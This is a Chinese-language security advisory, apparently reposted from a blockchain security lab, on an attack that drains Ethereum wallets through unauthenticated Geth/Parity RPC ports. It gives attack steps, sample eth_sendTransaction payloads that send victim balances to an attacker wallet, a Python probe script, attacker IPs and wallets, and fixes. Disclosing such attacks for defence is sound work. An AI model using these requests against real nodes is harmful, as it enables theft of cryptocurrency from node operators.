當前位置:
首頁 > 最新 > 以太坊潛伏多年令全球黑客為之瘋狂的「偷渡」漏洞,引發偷幣狂潮

以太坊潛伏多年令全球黑客為之瘋狂的「偷渡」漏洞,引發偷幣狂潮

世界上有一群人,互聯網對於他們來說就是提款機。

是的,過去是,現在更是,因為電子貨幣的出現,他們提款的速度變得更瘋狂。

在2017年,我們的蜜罐監測到一起針對以太坊的全球大規模攻擊事件,我們將其命名為以太坊「偷渡」漏洞。

通過該漏洞,黑客可以在沒有伺服器許可權、沒有keystore密碼許可權的情況下,轉走錢包中的所有餘額。

而如此嚴重的漏洞,1年前就在reddit.com被曝光有黑客在利用,並且最早可追溯到2016年的2月14號就有黑客通過此漏洞竊取到比特幣:

(https://www.reddit.com/r/ethereum/comments/4z0mvi/ethereum_nodes_with_insecure_rpc_settings_are/)

近期也有中國的慢霧安全團隊揭露了這種攻擊手法:

在長達2年的時間裡,並沒有多少用戶關注到,以太坊也沒有進行針對性的防護措施,直到今日,以太坊的最新代碼中依然沒有能夠抵禦這種攻擊。

因此我們決定將我們所掌握的詳細數據公布給所有人,希望能促使以太坊的開發者承認並修復該漏洞。

漏洞成因

(以下的代碼分析基於https://github.com/ethereum/go-ethereum的當前最新提交:commit b1917ac9a3cf4716460bd53a11db40384103e5e2)

以太坊目前最流行的節點程序(Geth/Parity )都提供了RPC API,用於對接礦池、錢包等其他第三方程序。

默認情況下,節點的RPC服務是無需密碼就可以進行介面調用,官方實現的RPC API也並未提供設置RPC連接密碼的功能,因此,一旦將RPC埠暴露在互聯網,將會非常危險。

而我們所捕獲的以太坊「偷渡」漏洞,正是利用了以太坊默認對RPC不做鑒權的設計。

被攻擊的用戶,需要具備以下條件:

1、節點的RPC埠對外開放

2、節點的RPC埠可直接調用API,未做額外的鑒權保護(如通過nginx等方式進行鑒權保護)

3、節點的區塊高度已經同步到網路的最新高度,因為需要在該節點進行轉賬,如果未達到最高度,無法進行轉賬

當用戶對自己的錢包進行了解鎖(unlockAccount函數),在解鎖超時期間,無需再輸入密碼,便可調用RPC API的eth_sendTransaction進行轉賬操作。

漏洞的關鍵組成,由未鑒權的RPC API服務及解鎖賬戶後有一定的免密碼時間相結合,以下是解鎖賬戶的unlockAccount函數:

代碼路徑:go-ethereum/internal/jsre/deps/api.go

通過函數的實現代碼可見,解鎖賬戶的api允許傳入超時時間,默認超時為300秒,

真正進行解鎖的函數TimedUnlock實現如下:

代碼路徑:go-ethereum/accounts/keystore/keystore.go

當傳入的超時大於0時,會發起一個協程進行超時處理,如果傳入的超時時間為0,則是永久不會超時,賬戶一直處於解鎖狀態,直到節點進程退出。

詳細的用法參考官方文檔:https://github.com/ethereum/go-ethereum/wiki/Management-APIs#personal_unlockaccount

攻擊手法揭秘

1.尋找對外開放以太坊RPC埠的伺服器,確認節點已經達到以太坊網路的最高區塊高度

黑客通過全球的埠服務掃描,發現RPC服務為以太坊的RPC介面時,調用eth_getBlockByNumber(『last』, false),獲取最新的區塊高度。

但是由於有些以太節點是以太坊的分叉幣,高度與以太坊的不一樣,因此黑客即使發現節點高度與以太坊的高度不一樣,也不會放棄攻擊。

2.調用eth_accounts,獲取該節點上的所有賬戶。

eth_accounts的請求將返回一個賬戶地址列表:[0x1834axxxxxxxxxxxxxxxxxxxxxxxxxxx, 0xa13jkcxxxxxxxxxxxxxxxxxxxxxxxxxxx,…… ]

3.調用eth_getBalance,查詢地址餘額。

這個過程黑客可在自己的伺服器完成以太坊的餘額查詢,因為以太坊的區塊鏈賬本資料庫是隨意公開獲取的。

有部分黑客沒有搭建以太坊的全節點,沒有自行查詢餘額,因此也會在被攻擊伺服器進行eth_getBalance操作。

4.持續調用轉賬操作,直到剛好用戶用密碼解鎖了錢包,完成非法轉賬操作的「偷渡」

黑客會構造eth_sendTransaction的轉賬操作,並填寫餘額、固定的手續費:

{「jsonrpc」:」2.0″,」id」:2,」method」:」eth_sendTransaction」,」params」:[{「from」:」受害者錢包地址1″,」gas」:」0x55f0″,」to」:」0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,」value」:」0x112345fc212345000″}]}

{「jsonrpc」:」2.0″,」id」:2,」method」:」eth_sendTransaction」,」params」:[{「from」:」受害者錢包地址2″,」gas」:」0x55f0″,」to」:」0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,」value」:」0x112345fc212345000″}]}

{「jsonrpc」:」2.0″,」id」:2,」method」:」eth_sendTransaction」,」params」:[{「from」:」受害者錢包地址3″,」gas」:」0x55f0″,」to」:」0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,」value」:」0x112345fc212345000″}]}

其中的value的單位是以太的最小單位:wei,計算為以太的話需要除10的18次方:

>>> 0x112345fc212345000

19758522752314920960L

>>> 19758522752314920960L/1000000000000000000

19L

戶使用錢包,輸入密碼解鎖了錢包,此時錢包餘額會立即被轉走。

快速漏洞測試

安裝python的web3庫,然後連接RPC埠,發起請求,如果獲取到返回結果,便可能存在該漏洞。

參考:http://web3py.readthedocs.io/en/stable/quickstart.html

from web3 import Web3, HTTPProvider, IPCProvider

web3 = Web3(HTTPProvider(『//ip:port』))

web3.eth.blockNumber

黑客解密及IOCs情報

黑客錢包

目前我們掌握了3個黑客的錢包收款地址,未轉走的賬戶餘額為2220萬美金:

https://etherscan.io/address/0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464,餘額為38,076 ETH(未統計erc20 token),最早進賬為2016-2-14,最新進賬為2018-3-21(當前還在持續入賬)

https://etherscan.io/address/0x96a5296eb1d8f8098d35f300659c95f7d6362d15,餘額為321 ETH(未統計erc20 token),最早進賬為2016-8-10,最新進賬為2017-11-28。

https://etherscan.io/address/0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6,餘額為330 ETH(未統計erc20 token),最早進賬為2018-2-06,最新進賬為2018-3-20。

黑客攻擊源IP

146.0.249.87(德國黑森州法蘭克福) 162.251.61.133(加拿大) 190.2.133.114(庫拉索) 85.14.240.84(德國北萊茵)

目前大部分的黑客使用https://github.com/regcostajr/go-web3進行頻繁API請求,如果有看到大量user-agent為「Go-http-client/1.1」的POST請求時,請記錄下請求內容,確認是否為惡意行為。

緊急響應及修復建議

1,、關閉對外暴露的RPC埠,如果必須暴露在互聯網,請使用鑒權:https://tokenmarket.net/blog/protecting-ethereum-json-rpc-api-with-password/

2、藉助防火牆等網路防護軟體,封堵黑客攻擊源IP

3、檢查RPC日誌、web介面日誌,是否有異常大量的頻繁請求,檢查請求內容是否為eth_sendTransaction

4、等待以太坊更新最新代碼,使用修復了該漏洞的節點程序

作者:Hydra@BLOCKCHAIN SECURITY LAB

作者博客:http://www.sec-lab.io/2018/03/21/ethereum-smuggling-vulnerability/

你可能喜歡

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 黑白之道 的精彩文章:

360的快視頻團隊疑似拖了bilibili的褲子
木馬通殺 Windows、MacOS、Linux,過大部分殺軟

TAG:黑白之道 |